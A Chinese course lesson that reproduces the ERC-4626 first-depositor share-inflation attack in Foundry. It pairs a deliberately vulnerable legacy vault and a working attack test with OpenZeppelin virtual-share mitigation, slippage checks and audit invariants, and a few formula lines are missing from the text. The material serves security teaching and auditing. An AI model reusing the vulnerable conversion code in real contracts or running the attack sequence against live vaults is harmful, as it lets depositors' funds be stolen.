智能合约与以太坊 / 系统课时
复现 ERC-4626 首存份额攻击
复现 ERC-4626 首存份额攻击
使用 Foundry 构造一个空 ERC-4626 金库,模拟攻击者抢先存入、直接捐赠代币和受害者随后存款的过程。通过对比旧式份额换算与 OpenZeppelin 虚拟份额方案,验证攻击利润、零份额风险和有效的防护检查。
学习目标
- 解释首存攻击中资产余额、份额总量和舍入误差的关系。
- 编写 Foundry 测试,复现受害者存款后获得零份额的情况。
- 验证虚拟资产、虚拟份额和最小份额限制的缓解效果。
攻击为什么发生
ERC-4626 将用户存入的底层资产换成金库份额。正常情况下,份额代表对金库资产的按比例索取权。对于不包含虚拟资产和虚拟份额的旧式实现,非空金库的存款换算通常为:
其中 assets 是本次存款数量,totalSupply 是已有份额,totalAssets 是存款前金库管理的资产。存款获得的份额向下取整。
攻击者利用两个事实:直接向金库地址转账可以增加资产余额,却不增加份额总量;当份额价格被抬高后,小额存款换算出的份额可能不足 1 个最小单位,最终舍入为零。
假设底层代币以最小整数单位计数,金库初始为空,攻击过程如下。
| 操作 | 金库资产 | 份额总量 | 操作者获得份额 |
|---|---|---|---|
| 初始状态 | 0 | 0 | 0 |
| 攻击者存入 1 | 1 | 1 | 1 |
| 攻击者直接捐赠 100 | 101 | 1 | 0 |
| 受害者存入 100 | 201 | 1 | 0 |
| 攻击者赎回 1 份额 | 0 | 0 | 赎回 201 资产 |
受害者的份额计算结果为 floor(100 × 1 / 101) = 0。攻击者总共投入 101 单位,最后取回 201 单位,净获利 100 单位,恰好对应受害者的损失。本例没有手续费或外部收益,且不代表所有 ERC-4626 实现都有漏洞。
构造攻击交易顺序
攻击需要在受害者存款执行之前改变金库的兑换价格。攻击者通常监视待处理存款交易,提前提交自己的存款和捐赠操作;实际能否抢先执行,取决于交易排序和区块构建环境。

需要特别区分 transfer 和 deposit:前者只移动 ERC-20 代币,后者才执行 ERC-4626 的份额铸造逻辑。如果金库通过底层代币余额计算 totalAssets(),直接捐赠会改变兑换比例。
当金库采用独立记账的资产总额时,未经授权的直接转账未必立即影响兑换比例,但必须额外验证真实资产、内部账本以及后续收益同步之间的一致性。
使用 Foundry 复现漏洞
示例适用于 Solidity 0.8.20、Foundry 和 OpenZeppelin Contracts 5.x。使用 OpenZeppelin 的标准 ERC-4626 作为安全对照,再通过覆盖内部换算函数,模拟未加入虚拟资产和虚拟份额的旧式实现。
在新建的 Foundry 工程中安装依赖:
forge init erc4626-lab
cd erc4626-lab
forge install OpenZeppelin/openzeppelin-contracts@v5.0.2预期结果:工程存在 lib/openzeppelin-contracts 依赖目录。命令输出与安装路径因环境而异。项目需要可访问 GitHub,并且安装有 Git 和 Foundry。
将以下完整代码保存为 test/ERC4626Inflation.t.sol。为了让示例的每个数字可以直接核对,底层代币设置为 0 位小数;这是教学用整数资产模型,不是对实际 ERC-20 精度的默认假设。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
contract MockAsset is ERC20 {
constructor() ERC20("Asset", "AST") {}
function decimals() public pure override returns (uint8) {
return 0;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
// 教学用脆弱实现:恢复不含虚拟资产和份额的旧式换算。
contract VulnerableVault is ERC4626 {
constructor(IERC20 asset_) ERC20("Legacy Vault", "LV") ERC4626(asset_) {}
function _convertToShares(uint256 assets, Math.Rounding rounding)
internal view override returns (uint256)
{
uint256 supply = totalSupply();
return supply == 0
? assets
: Math.mulDiv(assets, supply, totalAssets(), rounding);
}
function _convertToAssets(uint256 shares, Math.Rounding rounding)
internal view override returns (uint256)
{
uint256 supply = totalSupply();
return supply == 0
? shares
: Math.mulDiv(shares, totalAssets(), supply, rounding);
}
}
// OpenZeppelin 5.x 默认换算包含虚拟资产和虚拟份额。
contract ProtectedVault is ERC4626 {
constructor(IERC20 asset_) ERC20("Protected Vault", "PV") ERC4626(asset_) {}
function _decimalsOffset() internal pure override returns (uint8) {
return 3;
}
}
contract ERC4626InflationTest is Test {
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function testLegacyVaultInflation() public {
MockAsset asset = new MockAsset();
VulnerableVault vault = new VulnerableVault(IERC20(address(asset)));
asset.mint(attacker, 101);
asset.mint(victim, 100);
vm.startPrank(attacker);
asset.approve(address(vault), 101);
vault.deposit(1, attacker);
asset.transfer(address(vault), 100);
vm.stopPrank();
// 捐赠抬高资产价格,受害者的 100 单位存款铸造 0 份额。
assertEq(vault.previewDeposit(100), 0);
vm.startPrank(victim);
asset.approve(address(vault), 100);
uint256 shares = vault.deposit(100, victim);
vm.stopPrank();
assertEq(shares, 0);
vm.prank(attacker);
uint256 recovered = vault.redeem(1, attacker, attacker);
assertEq(recovered, 201);
assertEq(asset.balanceOf(victim), 0);
}
function testVirtualSharesMitigateInflation() public {
MockAsset asset = new MockAsset();
ProtectedVault vault = new ProtectedVault(IERC20(address(asset)));
asset.mint(attacker, 101);
asset.mint(victim, 100);
vm.startPrank(attacker);
asset.approve(address(vault), 101);
uint256 initialShares = vault.deposit(1, attacker);
asset.transfer(address(vault), 100);
vm.stopPrank();
assertEq(initialShares, 1000);
// offset 为 3 时,存款仍能获得非零份额。
assertEq(vault.previewDeposit(100), 1960);
vm.startPrank(victim);
asset.approve(address(vault), 100);
uint256 shares = vault.deposit(100, victim);
vm.stopPrank();
assertEq(shares, 1960);
vm.prank(attacker);
uint256 recovered = vault.redeem(initialShares, attacker, attacker);
assertEq(recovered, 51);
assertLt(recovered, 101);
}
}在 foundry.toml 中使用 Foundry 默认的 lib 依赖目录即可;上述依赖在 OpenZeppelin 5.0.2 下可通过包名解析。执行:
forge test --match-contract ERC4626InflationTest预期结果(省略编译进度与耗时):
[PASS] testLegacyVaultInflation()
[PASS] testVirtualSharesMitigateInflation()
Suite result: ok. 2 passed; 0 failed第一项测试证明旧式金库没有阻止受害者获得零份额;第二项证明虚拟份额机制可以显著增加攻击成本。测试中的攻击者、受害者地址由 Foundry 生成,实际地址可能不同。
对比虚拟份额防护效果
OpenZeppelin Contracts 5.x 的 ERC-4626 在份额转换中引入虚拟资产和虚拟份额,换算关系为:
其中 为 _decimalsOffset()。本例设置为 3,因此存在 1000 个计算用虚拟份额和 1 个计算用虚拟资产。这些虚拟数值参与换算,但不是实际铸造给某个地址的 ERC-20 份额,也不是额外转入的真实资产。
保护方案中,攻击者首次存入 1 单位得到 1000 份额。捐赠 100 单位后,实际份额为 1000、资产为 101。受害者存入 100 单位时获得:
攻击者赎回自己的 1000 份额时,向下取整仅能取回 51 单位资产,相比其投入的 101 单位损失 50 单位。部分捐赠价值被虚拟份额机制吸收,无法由攻击者全部赎回。
| 校验项 | 旧式金库 | 虚拟份额金库 |
|---|---|---|
| 攻击者初始存款 | 1 | 1 |
| 攻击者捐赠 | 100 | 100 |
| 受害者存款 | 100 | 100 |
| 受害者获得份额 | 0 | 1960 |
| 攻击者赎回资产 | 201 | 51 |
| 攻击者净收益 | +100 | -50 |
增加存款滑点与会计不变量检查
在协议集成层,不能仅仅因为 deposit 没有回滚就认定存款成功。更严格的验收规则是:对于用户指定的最小份额数 minShares,实际获得份额必须不低于这个数值。
假设用户准备存入 100 单位,预期至少获得 90 份额,可以在受控包装合约中加入以下逻辑。下面是片段示例,依赖调用方拥有底层资产、已完成必要授权和安全的资产转移流程,不是可单独部署的完整路由器。
uint256 shares = vault.deposit(100, address(this));
require(shares >= 90, "INSUFFICIENT_SHARES");预期结果:当返回份额小于 90 时交易回滚;满足要求时继续执行。这里的 90 仅用于说明检查方式,真实阈值应基于报价和用户认可的滑点设置。在包装合约中还需验证资产来源、份额接收者及转交给最终用户的逻辑,避免资产被留在包装合约内。直接调用 ERC-4626 的标准 deposit 接口没有 minShares 参数,不能假设它自动进行该检查。
审计时至少覆盖以下不变量和边界:
- 正常存款:存入正数资产后,实际收到的份额满足用户设置的下限,否则整体回滚。
- 直接捐赠:转入 100 单位资产不应凭空增加任何地址的真实份额余额或
totalSupply。 - 赎回守恒:在无手续费和外部收益的测试环境中,赎回转出的资产应与金库实际余额变化一致。
- 零份额场景:存入正数资产却获得零份额必须由业务层明确拒绝,不能当成正常存款成功。
- 极端数值:分别测试 1 单位存款、超大捐赠和不同
_decimalsOffset(),检查舍入、溢出与资产精度。
还需要检查 totalAssets() 的定义是否覆盖借贷仓位、策略负债、待提取资产和直接捐赠。对于有外部策略的金库,代币余额可能不等于资产总额,不能机械地将两者设为同一个数值。
实际修复应优先采用经过审查的 ERC-4626 实现,并根据资产精度选择合理的虚拟份额偏移量;在用户入口另外增加最小份额保护。审计报告需要同时给出攻击交易顺序、受害者获得份额、攻击者最终资产余额和不变量检查结果,而不能只展示一次成功的 deposit 调用。